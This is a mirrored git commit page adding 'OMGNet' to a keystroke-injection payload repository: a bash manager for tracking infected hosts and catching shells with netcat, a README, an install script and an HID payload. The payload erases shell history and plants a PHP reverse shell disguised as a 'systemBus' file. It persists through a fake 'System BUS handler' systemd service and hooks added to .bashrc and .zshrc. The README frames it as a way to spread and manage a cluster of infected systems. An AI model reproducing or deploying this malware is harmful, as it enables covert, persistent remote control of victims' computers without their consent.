mirror of https://github.com/hak5/omg-payloads.git
uploading OMGNet
OMGNet is cluster of systems infected with persistentReverseOMG which are manged by OMGNetManager.pull/190/head
drapl0n
GitHub
parent
0981da652b
commit
7b628f2753
|
|
@ -0,0 +1,135 @@
|
||||||
|
#!/bin/bash
|
||||||
|
allowAbort=true;
|
||||||
|
myInterruptHandler()
|
||||||
|
{
|
||||||
|
if $allowAbort; then
|
||||||
|
echo
|
||||||
|
echo -e "\n\033[1mYou terminated OMGNetManager...\033[0m" && exit 1;
|
||||||
|
fi;
|
||||||
|
}
|
||||||
|
trap myInterruptHandler SIGINT;
|
||||||
|
echo -e "\033[4m\033[1mWelcome to OMGNet Manager!!!\033[0m"
|
||||||
|
echo
|
||||||
|
echo -e "1] Connect with target.\n2] Create new target.\n3] List available target.\n4] Remove target.\n5] Update target."
|
||||||
|
echo
|
||||||
|
read -p "Enter your choice: " ch
|
||||||
|
create () {
|
||||||
|
read -p "Enter Target's name(without whitespaces): " name
|
||||||
|
if [[ $(grep -oh "\w*$name\w*" ~/.config/OMGNet/OMGNet.db) == $name ]]; then
|
||||||
|
echo -e "\033[0;31m\e[1mOMGNetManager:Error:\e[0mName \"$name\" already exists."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
read -p "Enter Servers IP: " ip
|
||||||
|
read -p "Enter Unique Port Number(1500-65535): " port
|
||||||
|
if [[ $(grep -oh "\w*$ip\w*" ~/.config/OMGNet/OMGNet.db) == $ip ]] && [[ $(grep -oh "\w*$port\w*" ~/.config/OMGNet/OMGNet.db) == $port ]]; then
|
||||||
|
echo -e "\033[0;31m\e[1mOMGNetManager:Error:\e[0mTarget exist with similar IP address \"$ip\" and port number \"$port\"."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
max=65535
|
||||||
|
min=1500
|
||||||
|
read -p "Specify directory for output: " dir
|
||||||
|
if [ ! -d "$dir" ]; then
|
||||||
|
echo -e "\033[0;31m\e[1mOMGNetManager:Error:\e[0m\"$dir\" no such directory."
|
||||||
|
exit 1
|
||||||
|
else
|
||||||
|
cp -r ~/.config/OMGNet/payload $dir
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [[ $ip =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]] && (( $port <= $max )) && (( $port >= $min )); then
|
||||||
|
sed -i -e "s/0.0.0.0/$ip/g" $dir/payload
|
||||||
|
sed -i -e "s/4444/$port/g" $dir/payload
|
||||||
|
echo -e "$(echo "$name"|xargs)\t$ip\t$port" >> ~/.config/OMGNet/OMGNet.db
|
||||||
|
read -p "Do you want payload encoded(y|n): " enc
|
||||||
|
else
|
||||||
|
echo -e "\033[0;31m\e[1mOMGNetManager:Error:\e[0mInvalid IP address \"$ip\" or Port number \"$port\"."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
}
|
||||||
|
list () {
|
||||||
|
|
||||||
|
column -t -o ' ' ~/.config/OMGNet/OMGNet.db | awk '{print NR" - "$0}'
|
||||||
|
}
|
||||||
|
remove () {
|
||||||
|
echo
|
||||||
|
list
|
||||||
|
echo
|
||||||
|
read -p "Enter name of target to remove: " rmv
|
||||||
|
if grep -q $rmv ~/.config/OMGNet/OMGNet.db; then
|
||||||
|
sed -i "/\b\($rmv\)\b/d" ~/.config/OMGNet/OMGNet.db
|
||||||
|
echo -e "\033[0;32m\e[1mOMGNetManager:Success:\e[0mRemoved \"$rmv\"."
|
||||||
|
else
|
||||||
|
echo -e "\033[0;31m\e[1mOMGNetManager:Error:\e[0m\"$rmv\" no such target found."
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
update () {
|
||||||
|
echo
|
||||||
|
list
|
||||||
|
echo
|
||||||
|
read -p "Choose target number: " cho
|
||||||
|
read -p "You want to update (ip|port): " ent
|
||||||
|
if [ "$ent" = ip ]
|
||||||
|
then
|
||||||
|
one=$(sed ""$cho\!d"" ~/.config/OMGNet/OMGNet.db | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}")
|
||||||
|
read -p "Enter new ip: " use
|
||||||
|
if [[ $use =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
|
||||||
|
sed -i -e "$cho s/$one/$use/g" ~/.config/OMGNet/OMGNet.db
|
||||||
|
echo -e "\033[0;32m\e[1mOMGNetManager:Success:\e[0mUpdated IP."
|
||||||
|
else
|
||||||
|
echo -e "\033[0;31m\e[1mOMGNetManager:Error:\e[0mInvalid IP address \"$use\"."
|
||||||
|
exit
|
||||||
|
fi
|
||||||
|
elif [ "$ent" = port ]
|
||||||
|
then
|
||||||
|
two=$(sed ""$cho\!d"" ~/.config/OMGNet/OMGNet.db | awk '{print $ 3}')
|
||||||
|
read -p "Enter new Port number: " useP
|
||||||
|
max=65535
|
||||||
|
min=1500
|
||||||
|
if (( $useP <= $max )) && (( $useP >= $min )); then
|
||||||
|
sed -i -e "$cho s/$two/$useP/g" ~/.config/OMGNet/OMGNet.db
|
||||||
|
echo -e "\033[0;32m\e[1mOMGNetManager:Success:\e[0mUpdated Port number\"$ent\"."
|
||||||
|
else
|
||||||
|
echo -e "\033[0;31m\e[1mOMGNet:Error:\e[0mInvalid Port Number \"$useP\"."
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
echo -e "\033[0;31m\e[1mOMGNetManager:Error:\e0m[Invalid choice \"$ent\"."
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
connect () {
|
||||||
|
echo
|
||||||
|
list
|
||||||
|
echo
|
||||||
|
read -p "Enter Target number to connect: " cho
|
||||||
|
one=$(sed ""$cho\!d"" ~/.config/OMGNet/OMGNet.db | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}")
|
||||||
|
two=$(sed ""$cho\!d"" ~/.config/OMGNet/OMGNet.db | awk '{print $ 3}')
|
||||||
|
read -p "Do you want to listen on local address(y|n): " src
|
||||||
|
if [ "$src" = n ]
|
||||||
|
then
|
||||||
|
echo -e "Listning on IP address \"$one\" and Port number \"$two\"...."
|
||||||
|
nc -lv -s $one -p $two
|
||||||
|
elif [ "$src" = y ]
|
||||||
|
then
|
||||||
|
echo -e "Listning on Port number \"$two\"...."
|
||||||
|
nc -nvlp $two
|
||||||
|
else
|
||||||
|
echo -e "\033[0;31m\e[1mOMGNetManager:Error:\e[0mInvalid choice \"$src\"."
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
if [ "$ch" = 1 ]
|
||||||
|
then
|
||||||
|
connect
|
||||||
|
elif [ "$ch" = 2 ]
|
||||||
|
then
|
||||||
|
create
|
||||||
|
elif [ "$ch" = 3 ]
|
||||||
|
then
|
||||||
|
list
|
||||||
|
elif [ "$ch" = 4 ]
|
||||||
|
then
|
||||||
|
remove
|
||||||
|
elif [ "$ch" = 5 ]
|
||||||
|
then
|
||||||
|
update
|
||||||
|
else
|
||||||
|
echo -e "\033[0;31m\e[1mOMGNet:Error:\e[0mInvalid choice \"$ch\"."
|
||||||
|
fi
|
||||||
|
|
@ -0,0 +1,28 @@
|
||||||
|
# OMGNet
|
||||||
|
|
||||||
|
## About:
|
||||||
|
* Title: OMGNet
|
||||||
|
* Description: Create, Encode, Inject, Spread your OMGNet and manage it using OMGNetManager.
|
||||||
|
* AUTHOR: drapl0n
|
||||||
|
* Version: 1.0
|
||||||
|
* Category: Remote Access
|
||||||
|
* Target: Unix-like operating systems with systemd.
|
||||||
|
* Attackmodes: HID
|
||||||
|
|
||||||
|
## OMGNet is cluster of systems infected with persistentReverseOMG which are manged by OMGNetManager.
|
||||||
|
|
||||||
|
### Functions:
|
||||||
|
* Connect to target.
|
||||||
|
* Create new target.
|
||||||
|
* List targets.
|
||||||
|
* Remove target.
|
||||||
|
* Update target.
|
||||||
|
|
||||||
|
### Installation:
|
||||||
|
Use ``install.sh`` script to install OMGNetManager.
|
||||||
|
|
||||||
|
### Usage:
|
||||||
|
Use command ``OMGNetManager``.
|
||||||
|
|
||||||
|
#### Support me if you like my work:
|
||||||
|
* https://twitter.com/drapl0n
|
||||||
|
|
@ -0,0 +1,5 @@
|
||||||
|
mkdir ~/.config/OMGNet
|
||||||
|
mv payload ~/.config/OMGNet/
|
||||||
|
touch ~/.config/OMGNet/OMGNet.db
|
||||||
|
chmod +x OMGNetManager
|
||||||
|
sudo mv OMGNetManager /bin/
|
||||||
|
|
@ -0,0 +1,50 @@
|
||||||
|
REM Title: OMGNet
|
||||||
|
REM Description: Create, Encode, Inject, Spread your OMGNet and manage it using OMGNetManager.
|
||||||
|
REM AUTHOR: drapl0n
|
||||||
|
REM Version: 1.0
|
||||||
|
REM Category: Remote Access
|
||||||
|
REM Target: Unix-like operating systems with systemd.
|
||||||
|
REM Attackmodes: HID
|
||||||
|
|
||||||
|
REM [keeping tracks clear]
|
||||||
|
DELAY 500
|
||||||
|
CTRL-ALT t
|
||||||
|
DELAY 400
|
||||||
|
STRING unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE
|
||||||
|
ENTER
|
||||||
|
DELAY 100
|
||||||
|
|
||||||
|
REM [creating reverse shell]
|
||||||
|
STRING mkdir /var/tmp/.system
|
||||||
|
ENTER
|
||||||
|
DELAY 100
|
||||||
|
STRING echo -e "while :\ndo\n\tping -c 5 0.0.0.0\n\tif [ $? -eq 0 ]; then\n\t\tphp -r '\$sock=fsockopen(\"0.0.0.0\",4444);exec("\"/bin/sh -i "<&3 >&3 2>&3"\"");'\n\tfi\ndone" > /var/tmp/.system/systemBus
|
||||||
|
ENTER
|
||||||
|
DELAY 100
|
||||||
|
STRING chmod +x /var/tmp/.system/systemBus
|
||||||
|
ENTER
|
||||||
|
DELAY 100
|
||||||
|
|
||||||
|
REM [creating non-root systemd service]
|
||||||
|
STRING mkdir -p ~/.config/systemd/user
|
||||||
|
ENTER
|
||||||
|
DELAY 100
|
||||||
|
STRING echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=multi-user.target" > ~/.config/systemd/user/systemBUS.service
|
||||||
|
ENTER
|
||||||
|
DELAY 100
|
||||||
|
|
||||||
|
REM [enabling service]
|
||||||
|
STRING systemctl --user daemon-reload
|
||||||
|
ENTER
|
||||||
|
STRING systemctl --user enable --now systemBUS.service
|
||||||
|
ENTER
|
||||||
|
STRING systemctl --user start --now systemBUS.service
|
||||||
|
ENTER
|
||||||
|
DELAY 100
|
||||||
|
|
||||||
|
REM [autostarting service on terminal/shell launch]
|
||||||
|
STRING echo -e "ls -a | grep 'zshrc' &> /dev/null\nif [ $? = 0 ]; then\n\techo systemctl --user enable --now systemBUS.service >> ~/.zshrc\nfi\n\nls -a | grep 'bashrc' &> /dev/null\nif [ $? = 0 ]; then\n\techo systemctl --user enable --now systemBUS.service >> ~/.bashrc\nfi\n\n" > ~/tmmmp
|
||||||
|
ENTER
|
||||||
|
DELAY 50
|
||||||
|
STRING chmod +x ~/tmmmp && cd ~/ && ./tmmmp && rm tmmmp && exit
|
||||||
|
ENTER
|
||||||
Loading…
Reference in New Issue